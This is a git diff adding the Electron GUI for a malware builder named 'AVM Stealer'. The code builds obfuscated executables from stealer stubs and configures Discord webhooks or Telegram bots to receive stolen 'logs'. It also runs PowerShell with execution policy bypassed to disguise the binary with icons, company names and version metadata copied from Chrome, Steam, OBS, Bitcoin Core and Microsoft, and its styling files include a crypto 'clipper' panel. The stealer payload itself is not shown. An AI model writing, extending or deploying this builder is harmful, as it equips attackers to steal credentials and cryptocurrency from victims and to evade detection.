'../../stub/crypter.js'); + } else if (method === 'Telegram Bot') { + messages.push(` Telegram Bot Token: ${telegramBotToken}`); + messages.push(` Telegram Chat ID: ${telegramChatID}`); + messages.push(` Features chosen: ${checkedCheckboxIDsStr}`); + messages.push(` AES256 Encryption Success!`); + messages.push(` JS Confuser Encryption Success!`); + scriptFilePath = path.resolve(__dirname, '../../stub/cryptertele.js'); + } + if (scriptFilePath) { + return runScriptFile(scriptFilePath).then(() => { + compilationReady = true; + }); + } else { + throw new Error('No valid script file path provided'); + } + }) + .then(() => displayPromise) + .then(() => { + const div = document.createElement('div'); + div.id = 'finalizing-msg'; + div.className = 'log-message'; + div.innerHTML = ` Finalizing`; + outputBox.appendChild(div); + outputBox.scrollTop = outputBox.scrollHeight; + return delay(2000); + }) + .then(() => build()) + .then(() => { + const msg = document.getElementById('finalizing-msg'); + if (msg) msg.remove(); + helpButton.style.display = 'block'; + newButton.style.display = 'block'; + const modal = document.getElementById('resourceModal'); + if (modal && helpButton) { + helpButton.onclick = function () { + modal.classList.add('active'); + if (window.initResourcePopup) { + window.initResourcePopup(); + } + }; + } + }) + .catch(error => { + const msg = document.getElementById('finalizing-msg'); + if (msg) msg.remove(); + console.error('Error during build process:', error); + appendToOutputBox(` Error during build process: ${error.message}`); + }); + }).catch(error => { + console.error('Error getting checkbox states:', error); + appendToOutputBox(` Error getting checkbox states: ${error.message}`); + }); + }); + + function handleButtonClick() { + findAppExe() + .then(filePath => { + showNotification(`Full path of the app.exe file: ${filePath}`, 'info'); + }) + .catch(error => { + showNotification(`Error: ${error.message}`, 'error'); + }); + } + + newButton.addEventListener('click', () => { + if (window.applyDefaultResources) { + window.applyDefaultResources(); + } else { + console.error('window.applyDefaultResources not defined!'); + showNotification('Error: Default logic not loaded.', 'error'); + } + helpButton.style.display = 'none'; + newButton.style.display = 'none'; + }); +}); diff --git a/gui/src/scripts/script_index.js b/gui/src/scripts/script_index.js new file mode 100644 index 0000000..6f54e1a --- /dev/null +++ b/gui/src/scripts/script_index.js @@ -0,0 +1,78 @@ +const fs = require('fs'); +const path = require('path'); +const sidebar = document.querySelector('.sidebar'); +const togglebtn = document.querySelector('.toggle-btn'); +togglebtn.addEventListener('click', () => { + sidebar.classList.toggle('active'); +}); +const jsonFilePath = path.join(__dirname, 'checkbox.json'); +function saveCheckboxStatesToFile() { + const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]'); + const states = {}; + checkboxes.forEach(checkbox => { + states[checkbox.id] = checkbox.checked; + }); + fs.writeFile(jsonFilePath, JSON.stringify(states, null, 2), (err) => { + if (err) { + console.error('Error writing to checkbox.json:', err); + } else { + console.log('Checkbox states saved to file:', states); + } + }); +} +function loadCheckboxStatesFromFile() { + try { + const data = fs.readFileSync(jsonFilePath, 'utf8'); + const states = JSON.parse(data); + console.log('Checkbox states loaded from file:', states); + const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]'); + checkboxes.forEach(checkbox => { + checkbox.checked = states[checkbox.id] || false; + }); + } catch (err) { + console.error('Error reading checkbox.json file:', err); + } +} +document.addEventListener('DOMContentLoaded', () => { + function saveCheckboxStates() { + const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]'); + const states = {}; + checkboxes.forEach(checkbox => { + states[checkbox.id] = checkbox.checked; + }); + localStorage.setItem('checkboxStates', JSON.stringify(states)); + saveCheckboxStatesToFile(); + } + function loadCheckboxStates() { + const states = JSON.parse(localStorage.getItem('checkboxStates')) || {}; + console.log('Checkbox states loaded from localStorage:', states); + const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]'); + checkboxes.forEach(checkbox => { + checkbox.checked = states[checkbox.id] || false; + }); + } + function updateToggleButton() { + const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]'); + const allChecked = Array.from(checkboxes).every(checkbox => checkbox.checked); + document.getElementById('toggleButton').textContent = allChecked ? 'Uncheck All' : 'Check All'; + } + function toggleAllCheckboxes() { + const checkboxes = document.querySelectorAll('.checkbox-item input[type="checkbox"]'); + const checkAll = document.getElementById('toggleButton').textContent === 'Check All'; + checkboxes.forEach(checkbox => { + checkbox.checked = checkAll; + }); + saveCheckboxStates(); + updateToggleButton(); + } + loadCheckboxStates(); + loadCheckboxStatesFromFile(); + updateToggleButton(); + document.querySelectorAll('.checkbox-item input[type="checkbox"]').forEach(checkbox => { + checkbox.addEventListener('change', () => { + saveCheckboxStates(); + updateToggleButton(); + }); + }); + document.getElementById('toggleButton').addEventListener('click', toggleAllCheckboxes); +}); diff --git a/gui/src/scripts/script_info.js b/gui/src/scripts/script_info.js new file mode 100644 index 0000000..07fc598 --- /dev/null +++ b/gui/src/scripts/script_info.js @@ -0,0 +1,247 @@ +const sidebar = document.querySelector('.sidebar'); +const togglebtn = document.querySelector('.toggle-btn'); +togglebtn.addEventListener('click', () => { + sidebar.classList.toggle('active'); +}); +document.addEventListener('DOMContentLoaded', () => { + const discordInput = document.getElementById('input1'); + const telegramTokenInput = document.getElementById('input2'); + const telegramChatIdInput = document.getElementById('input3'); + const testButton = document.getElementById('testButton'); + const saveButton = document.querySelector('label[for="input-file"]'); + const helpButton = document.getElementById('helpButton'); + const clearButton = document.getElementById('clearButton'); + const { ipcRenderer } = require('electron'); + const urlParams = new URLSearchParams(window.location.search); + if (urlParams.get('error') === 'missing_info') { + setTimeout(() => { + showNotification('Please provide and SAVE your Log Informations before building.', 'warning'); + }, 500); + } + async function loadSavedInfo() { + try { + const data = await ipcRenderer.invoke('get-info'); + if (data) { + discordInput.value = data.discordWebhookURL || ''; + telegramTokenInput.value = data.telegramBotToken || ''; + telegramChatIdInput.value = data.telegramChatID || ''; + localStorage.setItem('discordWebhookURL', discordInput.value); + localStorage.setItem('telegramBotToken', telegramTokenInput.value); + localStorage.setItem('telegramChatID', telegramChatIdInput.value); + updateInputStates(); + } + } catch (error) { + console.error('Failed to load saved info:', error); + } + } + loadSavedInfo(); + async function sendTestEmbed(webhookURL) { + const testEmbed = { + title: '**Your Webhook Works Perfectly โœ…**', + author: { + name: 'AVM Builder', + icon_url: 'https://i.ibb.co/84zCWC73/icon.png' + }, + color: 0x303037, + footer: { + text: 'AVM | Made by @WallGod69', + }, + }; + try { + await axios.post(webhookURL, { embeds: [testEmbed] }); + showNotification('Discord Webhook Test Message Sent Successfully!', 'success'); + } catch (error) { + console.error('Failed to send test message to Discord Webhook.', error); + if (error.response) { + showNotification(`Failed to send test message to Discord Webhook.\nStatus: ${error.response.status}\nMessage: ${error.response.data}`, 'error'); + } else { + showNotification('Failed to send test message to Discord Webhook.\nError: ' + error.message, 'error'); + } + } + } + async function sendTestMessage(botToken, chatId) { + const apiUrl = `https://api.telegram.org/bot${botToken}/sendMessage`; + const testMessage = { + chat_id: chatId, + text: 'Your Telegram Bot is ready to receive logs. โœ…\n\nโ”โ”โ”โ”โ”โ”\nAVM Stealer', + parse_mode: 'Markdown', + }; + try { + await axios.post(apiUrl, testMessage); + showNotification('Telegram Bot Test Message Sent Successfully!', 'success'); + } catch (error) { + console.error('Failed to send test message to Telegram Bot.', error); + if (error.response) { + showNotification(`Failed to send test message to Telegram Bot.\nStatus: ${error.response.status}\nMessage: ${error.response.data.description}`, 'error'); + } else { + showNotification('Failed to send test message to Telegram Bot.\nError: ' + error.message, 'error'); + } + } + } + function isValidDiscordWebhookURL(url) { + const regex = /^https:\/\/discord\.com\/api\/webhooks\/\d+\/[\w-]{68}$/; + return regex.test(url); + } + function isValidTelegramBotToken(token) { + const regex = /^\d{9,12}:[\w-]{35}$/; + return regex.test(token); + } + function isValidTelegramChatID(chatID) { + const regex = /^-?\d+$/; + return regex.test(chatID); + } + function updateInputStates() { + const discordText = discordInput.value.trim(); + const telegramTokenText = telegramTokenInput.value.trim(); + const telegramChatIdText = telegramChatIdInput.value.trim(); + if (discordText) { + telegramTokenInput.disabled = true; + telegramChatIdInput.disabled = true; + telegramTokenInput.classList.add('locked'); + telegramChatIdInput.classList.add('locked'); + discordInput.disabled = false; + discordInput.classList.remove('locked'); + } else if (telegramTokenText || telegramChatIdText) { + discordInput.disabled = true; + discordInput.classList.add('locked'); + telegramTokenInput.disabled = false; + telegramChatIdInput.disabled = false; + telegramTokenInput.classList.remove('locked'); + telegramChatIdInput.classList.remove('locked'); + } else { + discordInput.disabled = false; + telegramTokenInput.disabled = false; + telegramChatIdInput.disabled = false; + discordInput.classList.remove('locked'); + telegramTokenInput.classList.remove('locked'); + telegramChatIdInput.classList.remove('locked'); + } + } + discordInput.addEventListener('input', updateInputStates); + telegramTokenInput.addEventListener('input', updateInputStates); + telegramChatIdInput.addEventListener('input', updateInputStates); + function saveInfo() { + const discordWebhookURL = discordInput.value.trim(); + const telegramBotToken = telegramTokenInput.value.trim(); + const telegramChatID = telegramChatIdInput.value.trim(); + if ((discordWebhookURL && isValidDiscordWebhookURL(discordWebhookURL)) || + (telegramBotToken && isValidTelegramBotToken(telegramBotToken) && telegramChatID && isValidTelegramChatID(telegramChatID))) { + localStorage.setItem('discordWebhookURL', discordWebhookURL); + localStorage.setItem('telegramBotToken', telegramBotToken); + localStorage.setItem('telegramChatID', telegramChatID); + const data = { + discordWebhookURL: discordWebhookURL, + telegramBotToken: telegramBotToken, + telegramChatID: telegramChatID + }; + const fs = require('fs'); + const path = require('path'); + fs.writeFile(path.join(__dirname, '..', 'info.json'), JSON.stringify(data, null, 2), (err) => { + if (err) { + console.error('Failed to save info to JSON file.', err); + } else { + console.log('Information saved to JSON file successfully!'); + } + }); + ipcRenderer.invoke('save-info', data).then(() => { + showNotification('Information saved successfully!', 'success'); + }).catch(err => { + console.error('Failed to save to appdata:', err); + showNotification('Failed to save settings to AppData.', 'error'); + }); + } else { + showNotification('Please provide a valid Discord Webhook URL or valid Telegram Bot Token and Chat ID before saving.', 'error'); + } + } + saveButton.addEventListener('click', () => { + saveInfo(); + }); + clearButton.addEventListener('click', async () => { + discordInput.value = ''; + telegramTokenInput.value = ''; + telegramChatIdInput.value = ''; + localStorage.removeItem('discordWebhookURL'); + localStorage.removeItem('telegramBotToken'); + localStorage.removeItem('telegramChatID'); + updateInputStates(); + const data = { + discordWebhookURL: '', + telegramBotToken: '', + telegramChatID: '' + }; + try { + await ipcRenderer.invoke('save-info', data); + const fs = require('fs'); + const path = require('path'); + fs.writeFile(path.join(__dirname, '..', 'info.json'), JSON.stringify(data, null, 2), (err) => { + if (err) console.error('Failed to clear info.json:', err); + }); + showNotification('Information cleared successfully!', 'info'); + } catch (err) { + console.error('Failed to clear info:', err); + showNotification('Failed to clear settings.', 'error'); + } + }); + testButton.addEventListener('click', () => { + const discordWebhookURL = discordInput.value.trim(); + const telegramBotToken = telegramTokenInput.value.trim(); + const telegramChatID = telegramChatIdInput.value.trim(); + if (discordWebhookURL && isValidDiscordWebhookURL(discordWebhookURL)) { + sendTestEmbed(discordWebhookURL); + } else if (discordWebhookURL) { + showNotification('Please provide a valid Discord Webhook URL.', 'error'); + } + if (telegramBotToken && isValidTelegramBotToken(telegramBotToken) && telegramChatID && isValidTelegramChatID(telegramChatID)) { + sendTestMessage(telegramBotToken, telegramChatID); + } else if (telegramBotToken || telegramChatID) { + showNotification('Please provide a valid Telegram Bot Token and Chat ID.', 'error'); + } + if (!discordWebhookURL && (!telegramBotToken || !telegramChatID)) { + showNotification('Please provide at least one valid webhook URL or bot token and chat ID.', 'warning'); + } + }); + function showError(input, bubble) { + bubble.classList.add('show'); + input.style.borderColor = '#ff4757'; + setTimeout(() => { + bubble.classList.remove('show'); + input.style.borderColor = 'rgba(255, 255, 255, 0.1)'; + input.value = ''; + updateInputStates(); + }, 3000); + } + [discordInput, telegramTokenInput, telegramChatIdInput].forEach(input => { + input.addEventListener('change', () => { + const val = input.value.trim(); + if (val === '') return; + const bubble = input.parentElement.querySelector('.error-bubble'); + let isValid = false; + if (input === discordInput) { + isValid = isValidDiscordWebhookURL(val); + } else if (input === telegramTokenInput) { + isValid = isValidTelegramBotToken(val); + } else if (input === telegramChatIdInput) { + isValid = isValidTelegramChatID(val); + } + if (!isValid) { + showError(input, bubble); + } + }); + }); + updateInputStates(); +}); +function openHelp(type) { + const urls = { + discord: 'https://youtu.be/fKksxz2Gdnc?si=T3rRJJ-pR5o74zG1', + telegramToken: 'https://t.me/BotFather', + telegramChat: 'https://t.me/chatIDrobot' + }; + const url = urls[type]; + if (url) { + require('electron').shell.openExternal(url); + } +} +function showHelpMessage() { + showNotification('Click on the question mark icons (?) next to each input field for more information.', 'info'); +} +document.getElementById('helpButton').addEventListener('click', showHelpMessage); diff --git a/gui/src/scripts/script_notification.js b/gui/src/scripts/script_notification.js new file mode 100644 index 0000000..fd7cdb5 --- /dev/null +++ b/gui/src/scripts/script_notification.js @@ -0,0 +1,39 @@ +function showNotification(message, type = 'info', duration = 3000) { + let container = document.getElementById('notification-container'); + if (!container) { + container = document.createElement('div'); + container.id = 'notification-container'; + document.body.appendChild(container); + } + const notification = document.createElement('div'); + notification.className = `notification ${type}`; + let iconClass = 'bx-info-circle'; + if (type === 'success') iconClass = 'bx-check-circle'; + if (type === 'error') iconClass = 'bx-x-circle'; + notification.innerHTML = ` + +
+
${message}
+
+ `; + container.appendChild(notification); + notification.offsetHeight; + requestAnimationFrame(() => { + notification.classList.add('show'); + }); + + const remove = () => { + notification.classList.remove('show'); + setTimeout(() => { + if (notification.parentNode) { + notification.remove(); + } + }, 400); + }; + + if (duration > 0) { + setTimeout(remove, duration); + } + + return { remove }; +} diff --git a/gui/src/scripts/script_resource_popup.js b/gui/src/scripts/script_resource_popup.js new file mode 100644 index 0000000..d44fd0b --- /dev/null +++ b/gui/src/scripts/script_resource_popup.js @@ -0,0 +1,209 @@ + + + +console.log('[Resource Popup] Script file loaded - Encoding Fix'); + +const PREDEFINED_METADATA = { + 'chrome.ico': { productName: 'Google Chrome', companyName: 'Google LLC', description: 'Google Chrome Web Browser', copyright: 'Copyright (c) 2024 Google LLC', fileVersion: '120.0.6099.130', productVersion: '120.0.6099.130' }, + 'epic games.ico': { productName: 'Epic Games Launcher', companyName: 'Epic Games, Inc.', description: 'Epic Games Launcher Setup', copyright: 'Copyright (c) 2024 Epic Games, Inc.', fileVersion: '15.17.1.0', productVersion: '15.17.1.0' }, + 'obs.ico': { productName: 'OBS Studio', companyName: 'OBS Project', description: 'Open Broadcaster Software', copyright: 'Copyright (c) 2024 OBS Project', fileVersion: '30.0.2.0', productVersion: '30.0.2.0' }, + 'setup.ico': { productName: 'Setup Installer', companyName: 'Microsoft Corporation', description: 'Windows Setup Installer', copyright: 'Copyright (c) 2024 Microsoft Corporation', fileVersion: '10.0.19041.1', productVersion: '10.0.19041.1' }, + 'steam.ico': { productName: 'Steam', companyName: 'Valve Corporation', description: 'Steam Gaming Platform', copyright: 'Copyright (c) 2024 Valve Corporation', fileVersion: '2.10.91.91', productVersion: '2.10.91.91' }, + 'systeminformer.ico': { productName: 'System Informer', companyName: 'Winsider Seminars & Solutions, Inc.', description: 'System Informer', copyright: 'Copyright (c) 2024 Winsider Seminars', fileVersion: '3.0.7258.0', productVersion: '3.0.7258.0' }, + 'bitcoin.ico': { productName: 'Bitcoin Core', companyName: 'The Bitcoin Core Developers', description: 'Bitcoin Core', copyright: 'Copyright (C) 2009-2024 The Bitcoin Core Developers', fileVersion: '28.1.0.0', productVersion: '28.1.0.0' }, + 'hwinfo.ico': { productName: 'System Informer', companyName: 'Winsider Seminars & Solutions, Inc.', description: 'System Informer', copyright: 'Copyright (c) 2024 Winsider Seminars', fileVersion: '3.0.7258.0', productVersion: '3.0.7258.0' } +}; + +let currentIconPath = null; +let resourcePopupInitialized = false; + +function getRootPath() { + let cwd = process.cwd(); + if (cwd.toLowerCase().endsWith('gui') || cwd.toLowerCase().endsWith('gui\\')) return path.join(cwd, '..'); + return cwd; +} + + +window.initResourcePopup = function () { + if (resourcePopupInitialized) return; + + const modal = document.getElementById('resourceModal'); + const gridItems = document.querySelectorAll('.grid-item'); + const btnRandomIcon = document.getElementById('btnRandomIcon'); + const btnApplyResources = document.getElementById('btnApplyResources'); + const iconPreview = document.getElementById('iconPreview'); + const selectedIconName = document.getElementById('selectedIconName'); + + const closeBtn = document.querySelector('.close-modal'); + if (closeBtn) closeBtn.onclick = () => modal.classList.remove('active'); + + const btnChooseIcon = document.getElementById('btnChooseIcon'); + const iconFileInput = document.getElementById('iconFileInput'); + + if (btnChooseIcon && iconFileInput) { + btnChooseIcon.onclick = () => iconFileInput.click(); + iconFileInput.onchange = (e) => { + const file = e.target.files[0]; + if (file) { + + updateIconPreview(file.path, true); + } + }; + } + + function updateIconPreview(filePath, isCustom = false) { + currentIconPath = filePath; + let filename = filePath.split(/[/\\]/).pop(); + + const m = PREDEFINED_METADATA[filename.toLowerCase()]; + if (m) { + document.getElementById('inputCompanyName').value = m.companyName; + document.getElementById('inputProductName').value = m.productName; + document.getElementById('inputDescription').value = m.description; + document.getElementById('inputCopyright').value = m.copyright; + document.getElementById('inputFileVersion').value = m.fileVersion || '1.0.0.0'; + document.getElementById('inputProductVersion').value = m.productVersion || '1.0.0.0'; + } + + if (iconPreview) { + if (isCustom) { + try { + const iconData = fs.readFileSync(filePath); + const base64Icon = iconData.toString('base64'); + iconPreview.src = `data:image/x-icon;base64,${base64Icon}`; + } catch (err) { + console.error('Error loading custom icon:', err); + iconPreview.src = `../../icon/default.ico`; + } + } else { + iconPreview.src = `../../icon/${filename}`; + } + iconPreview.style.display = 'block'; + const placeholder = document.querySelector('.placeholder-icon'); + if (placeholder) placeholder.style.display = 'none'; + } + if (selectedIconName) selectedIconName.textContent = filename; + } + + gridItems.forEach(item => { + item.onclick = () => updateIconPreview(path.join(getRootPath(), 'icon', item.getAttribute('data-filename'))); + }); + + if (btnRandomIcon) { + btnRandomIcon.onclick = () => { + const keys = Object.keys(PREDEFINED_METADATA); + updateIconPreview(path.join(getRootPath(), 'icon', keys[Math.floor(Math.random() * keys.length)])); + }; + } + + if (btnApplyResources) { + btnApplyResources.onclick = () => { + if (btnApplyResources.classList.contains('loading')) return; + + if (!currentIconPath) { + showNotification('Please select an icon!', 'error'); + return; + } + + const buildFolder = path.join(getRootPath(), 'build'); + let exePath = path.join(buildFolder, 'App.exe'); + if (!fs.existsSync(exePath)) exePath = path.join(buildFolder, 'app.exe'); + + if (!fs.existsSync(exePath)) { + showNotification('Executable not found in build/ folder!', 'error'); + return; + } + + + btnApplyResources.classList.add('loading'); + const originalInnerHTML = btnApplyResources.innerHTML; + btnApplyResources.innerHTML = ` Processing...`; + + + let companyName = document.getElementById('inputCompanyName').value || 'Microsoft Corporation'; + companyName = companyName.replace(/[^\x00-\x7F]/g, ""); + + window.executeRessources(exePath, currentIconPath, companyName, buildFolder, originalInnerHTML); + }; + } + + resourcePopupInitialized = true; +}; + +window.executeRessources = function (exePath, iconPath, companyName, buildFolder, originalInnerHTML) { + const { spawn } = require('child_process'); + + const scriptPath = path.join(buildFolder, 'ressources.ps1'); + + const args = [ + '-ExecutionPolicy', 'Bypass', + '-File', scriptPath, + '-ExePath', exePath, + '-IconPath', iconPath, + '-CompanyName', companyName + ]; + + const patcher = spawn('powershell.exe', args, { cwd: buildFolder }); + let success = false; + + patcher.stdout.on('data', (data) => { + const out = data.toString(); + console.log('[Patcher Output]', out); + if (out.includes('[OK] Success')) success = true; + }); + + patcher.stderr.on('data', (data) => console.error('[Patcher Error]', data.toString())); + + patcher.on('close', (code) => { + const btn = document.getElementById('btnApplyResources'); + if (btn && originalInnerHTML) { + btn.classList.remove('loading'); + btn.innerHTML = originalInnerHTML; + } + + if (window.currentLoadingNotification) { + window.currentLoadingNotification.remove(); + window.currentLoadingNotification = null; + } + + if (code === 0 && success) { + const buildName = `Build_${Math.random().toString(36).substring(7).toUpperCase()}.exe`; + const finalPath = path.join(getRootPath(), buildName); + + try { + fs.renameSync(exePath, finalPath); + showNotification(`โœ… SUCCESS: ${buildName}`, 'success'); + const modal = document.getElementById('resourceModal'); + if (modal) modal.classList.remove('active'); + } catch (e) { + showNotification('Error moving binary: ' + e.message, 'error'); + } + } else { + showNotification('Patcher Failed! Check console logs.', 'error'); + } + }); +}; + +window.applyDefaultResources = function () { + const buildFolder = path.join(getRootPath(), 'build'); + let exePath = path.join(buildFolder, 'App.exe'); + if (!fs.existsSync(exePath)) exePath = path.join(buildFolder, 'app.exe'); + + if (!fs.existsSync(exePath)) { + showNotification('Executable not found in build/ folder!', 'error'); + return; + } + + + const iconPath = path.join(getRootPath(), 'icon', 'systeminformer.ico'); + const companyName = "Winsider Seminars & Solutions, Inc."; + + + if (!fs.existsSync(iconPath)) { + showNotification('Default icon (systeminformer.ico) not found!', 'error'); + return; + } + + window.currentLoadingNotification = showNotification('Applying Default Resources', 'info', 0); + window.executeRessources(exePath, iconPath, companyName, buildFolder, null); +}; diff --git a/gui/src/scripts/script_transitions.js b/gui/src/scripts/script_transitions.js new file mode 100644 index 0000000..623fa47 --- /dev/null +++ b/gui/src/scripts/script_transitions.js @@ -0,0 +1,4 @@ +document.body.classList.add('fade-out'); +setTimeout(() => { + document.body.classList.remove('fade-out'); +}, 500); diff --git a/gui/src/style/img/bg.gif b/gui/src/style/img/bg.gif new file mode 100644 index 0000000..5361af6 Binary files /dev/null and b/gui/src/style/img/bg.gif differ diff --git a/gui/src/style/img/icon.ico b/gui/src/style/img/icon.ico new file mode 100644 index 0000000..c163887 Binary files /dev/null and b/gui/src/style/img/icon.ico differ diff --git a/gui/src/style/img/icon.png b/gui/src/style/img/icon.png new file mode 100644 index 0000000..b6ad0dc Binary files /dev/null and b/gui/src/style/img/icon.png differ diff --git a/gui/src/style/style_about.css b/gui/src/style/style_about.css new file mode 100644 index 0000000..68dbd24 --- /dev/null +++ b/gui/src/style/style_about.css @@ -0,0 +1,198 @@ +/* CSS */ +::-webkit-scrollbar { + display: none; +} + +* { + margin: 0; + padding: 0; + box-sizing: border-box; + font-family: 'Poppins', sans-serif; +} + +body { + min-height: 100vh; + background: url(img/bg.gif) no-repeat; + background-size: cover; + background-position: center; + user-select: none; + display: flex; +} + +.sidebar { + position: fixed; + top: 0; + left: 0; + width: 80px; + height: 100%; + background: transparent; + backdrop-filter: blur(4px); + padding: 6px 14px; + transition: .5s; + overflow: hidden; + z-index: 2000; +} + +.sidebar.active { + width: 260px; +} + +.sidebar .logo-menu { + display: flex; + white-space: nowrap; + align-items: center; + width: 100%; + height: 70px; +} + +.sidebar .logo-menu .logo { + font-size: 23px; + color: #fff; + pointer-events: none; + opacity: 0; + transition: .3s; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.sidebar.active .logo-menu .logo { + opacity: 1; + transition-delay: .2s; +} + +.sidebar .logo-menu .toggle-btn { + position: absolute; + left: 50%; + transform: translateX(-50%); + width: 40px; + height: 40px; + font-size: 22px; + color: #fff; + text-align: center; + line-height: 40px; + cursor: pointer; +} + +.sidebar.active .logo-menu .toggle-btn { + left: 90%; +} + +.sidebar .list { + margin-top: 10px; +} + +.list .list-item { + list-style: none; + width: 100%; + height: 50px; + margin: 5px 0; + line-height: 50px; +} + +.list .list-item a { + display: flex; + align-items: center; + font-size: 18px; + color: #fff; + text-decoration: none; + border-radius: 6px; + white-space: nowrap; + transition: .5s; +} + +.list .list-item.active a, +.list .list-item a:hover { + background: rgba(255, 255, 255, .2); +} + +.list .list-item a i { + min-width: 50px; + height: 50px; + text-align: center; + line-height: 50px; +} + +.sidebar .link_name { + opacity: 0; + pointer-events: none; + transition: .3s; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.sidebar.active .link_name { + opacity: 1; + pointer-events: auto; + transition-delay: calc(.1s * var(--i)); +} + +.container { + flex: 1; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; +} + +.maintitle { + user-select: none; + margin-bottom: 20px; + color: white; + font-weight: bold; + font-size: 20px; + text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8); +} + +.text-background { + background: rgba(255, 255, 255, 0.01); + backdrop-filter: blur(2px); + border: 1px solid rgba(255, 255, 255, 0.1); + padding: 35px; + border-radius: 12px; + box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2); + max-width: 1000px; + text-align: center; + margin: 0 auto; +} + +.text-background p { + color: #fff; + font-size: 18px; + line-height: 1.3; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.button-container { + position: fixed; + top: 55%; + right: 20px; + display: flex; + flex-direction: column; + align-items: center; + transform: translateY(-50%); +} + +.button-container .linkButton { + display: flex; + align-items: center; + justify-content: center; + font-size: 30px; + color: #fff; + background: rgba(80, 166, 239, 0.2); + border: 1px solid rgba(80, 166, 239, 0.5); + border-radius: 50%; + width: 60px; + height: 60px; + margin: 10px; + backdrop-filter: blur(2px); + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + text-decoration: none; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.button-container .linkButton:hover { + background: #50A6EF; + border-color: #50A6EF; + color: #fff; + transform: translateY(-3px); + box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4); + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} \ No newline at end of file diff --git a/gui/src/style/style_binder.css b/gui/src/style/style_binder.css new file mode 100644 index 0000000..c72b874 --- /dev/null +++ b/gui/src/style/style_binder.css @@ -0,0 +1,353 @@ +::-webkit-scrollbar { + display: none; +} + +* { + margin: 0; + padding: 0; + box-sizing: border-box; + font-family: 'Poppins', sans-serif; +} + +body { + min-height: 100vh; + background: url(img/bg.gif) no-repeat; + background-size: cover; + background-position: center; +} + +.sidebar { + position: fixed; + top: 0; + left: 0; + width: 80px; + height: 100%; + background: transparent; + backdrop-filter: blur(4px); + padding: 6px 14px; + transition: .5s; + overflow: hidden; + z-index: 2000; +} + +.sidebar.active { + width: 260px; +} + +.sidebar .logo-menu { + display: flex; + white-space: nowrap; + align-items: center; + width: 100%; + height: 70px; + +} + +.sidebar .logo-menu .logo { + font-size: 23px; + color: #fff; + pointer-events: none; + opacity: 0; + transition: .3s; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.sidebar.active .logo-menu .logo { + opacity: 1; + transition-delay: .2s; +} + + +.sidebar .logo-menu .toggle-btn { + position: absolute; + left: 50%; + transform: translateX(-50%); + width: 40px; + height: 40px; + font-size: 22px; + color: #fff; + text-align: center; + line-height: 40px; + cursor: pointer; +} + +.sidebar.active .logo-menu .toggle-btn { + left: 90%; +} + +.sidebar .list { + margin-top: 10px; +} + +.list .list-item { + list-style: none; + width: 100%; + height: 50px; + margin: 5px 0; + line-height: 50px; +} + +.list .list-item a { + display: flex; + align-items: center; + font-size: 18px; + color: #fff; + text-decoration: none; + border-radius: 6px; + white-space: nowrap; + transition: .5s; +} + +.list .list-item.active a, +.list .list-item a:hover { + background: rgba(255, 255, 255, .2); +} + +.list .list-item a i { + min-width: 50px; + height: 50px; + text-align: center; + line-height: 50px; +} + +.sidebar .link_name { + opacity: 0; + pointer-events: none; + transition: .3s; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.sidebar.active .link_name { + opacity: 1; + pointer-events: auto; + transition-delay: calc(.1s * var(--i)); +} + +.container { + height: 100vh; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + background-size: 100% 300px; + background-position: 0% 100%; + transition: background-position 0.5s; +} + +.maintitle { + position: relative; + width: 100%; + max-width: 900px; + display: flex; + justify-content: center; + align-items: center; + margin-bottom: 20px; +} + +.maintitle h1 { + color: white; + font-weight: bold; + font-size: 24px; + text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.8); +} + +.help-button { + position: fixed; + top: 25px; + right: 25px; + z-index: 1000; + pointer-events: auto; + background: rgba(80, 166, 239, 0.2); + border: 1px solid rgba(80, 166, 239, 0.5); + color: #fff; + padding: 8px 20px; + border-radius: 12px; + cursor: pointer; + font-weight: 600; + backdrop-filter: blur(2px); + transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); + display: flex; + align-items: center; + gap: 10px; + font-size: 14px; + text-decoration: none; + user-select: none; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.help-button:hover { + background: #50A6EF; + color: #fff; + transform: translateY(-2px); + box-shadow: 0 5px 15px rgba(80, 166, 239, 0.4); + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.clipper-grid { + display: grid; + grid-template-columns: repeat(2, 1fr); + gap: 15px; + width: 90%; + max-width: 900px; + margin: 10px auto; + padding: 10px; + background: rgba(255, 255, 255, 0.01); + backdrop-filter: blur(2px); + border: 1px solid rgba(255, 255, 255, 0.1); + border-radius: 12px; + max-height: 55vh; + overflow-y: auto; +} + +.clipper-grid::-webkit-scrollbar { + display: block; + width: 6px; +} + +.clipper-grid::-webkit-scrollbar-thumb { + background: rgba(255, 255, 255, 0.2); + border-radius: 10px; +} + +.crypto-item { + background: rgba(255, 255, 255, 0.03); + padding: 15px; + border-radius: 12px; + border: 1px solid rgba(255, 255, 255, 0.05); + transition: all 0.3s ease; +} + +.crypto-item:hover { + background: rgba(255, 255, 255, 0.07); + transform: translateY(-2px); + box-shadow: 0 5px 15px rgba(0, 0, 0, 0.2); +} + +.crypto-header { + display: flex; + align-items: center; + gap: 10px; + margin-bottom: 10px; + color: #fff; + font-size: 14px; + font-weight: 500; + text-shadow: 1px 1px 2px rgba(0, 0, 0, 0.8); +} + +.crypto-header i { + font-size: 20px; + color: #50A6EF; +} + +.input-wrapper { + position: relative; +} + +.input-wrapper input { + width: 100%; + padding: 10px 12px; + background: rgba(0, 0, 0, 0.2); + border: 1px solid rgba(255, 255, 255, 0.1); + border-radius: 12px; + color: #fff; + font-size: 13px; + outline: none; + transition: all 